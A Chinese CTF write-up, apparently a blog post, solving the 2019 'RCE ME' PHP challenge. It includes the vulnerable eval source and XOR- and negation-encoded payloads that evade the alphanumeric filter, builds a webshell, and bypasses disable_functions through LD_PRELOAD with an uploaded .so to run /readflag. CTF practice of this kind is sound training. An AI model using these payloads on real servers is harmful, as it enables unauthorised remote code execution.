极客大挑战 2019 RCE ME __0X01-0X0F

打开题目,源码如图,看起来很简单:

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

重点关注 preg_match() 函数,它将所有的字母和数字都进行了过滤,所以我们无法通过$code直接传入命令,因此需要绕过。

最常用的就是取反绕过。

先取phpinfo来测试一下

image-20211018143439534

为什么要加urlencode()?这里是因为字符串取反后会变成无法识别的字符,而这也是能绕过preg_match()函数的原因。

image-20211018143653122

成功得到信息。

下一步考虑通过取反来构建webshell。

image-20211018143038799

image-20211018143850709

测试一下webshell是否有效:

image-20211018144115367

成功,使用蚁剑来连接一下。

image-20211018144244347

连接成功。

image-20211018144318564

在根目录发现了readflag和flag,根据经验是要我们执行readflag来获取到flag。

image-20211018144428698

这时候就懵逼了,命令无法执行是一个废shell。

让我们再会到phpinfo()仔细观察,发现如下:

image-20211018143523288

敏感函数基本全被禁用了。

那我们就要绕过disable_functions来执行readflag文件了。

蚁剑中有一个插件可以绕过disable_functions(非预期解法)

image-20211018144830831

启用插件,选择

image-20211018145031532

发现成功绕过,并执行readflag文件获取到了flag

image-20211018145133785

通过LD_PRELOAD与putenv来执行命令

基本思路:

利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE。在另一篇博客中我会详细的介绍下这个,这里不做深入讨论。

发现/var/tmp目录下有上传权限,上传exp,image-20211019221359870

bypass_disablefunc.php 为命令执行 webshell,提供三个 GET 参数:

http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

由于在本题中对code有字符数量的限制,所以需要修改我们的payload为异或:

image-20211019230656350

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
?code=${_GET}[_](${_GET}[_]);&_=assert&_=eval($_POST['a'])
http://543c3847-4a06-4587-b8a5-7be27d7b7d7d.node4.buuoj.cn:81/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/xx&sopath=/var/tmp/bypass_disablefunc_x64.so

image-20211019225739892

看网上的大多数是第一种解法,感觉大家都太浮躁,我也不例外。不能为了刷题而刷题。掌握知识点和方法,才能在遇到相似题目时能够及时写出来。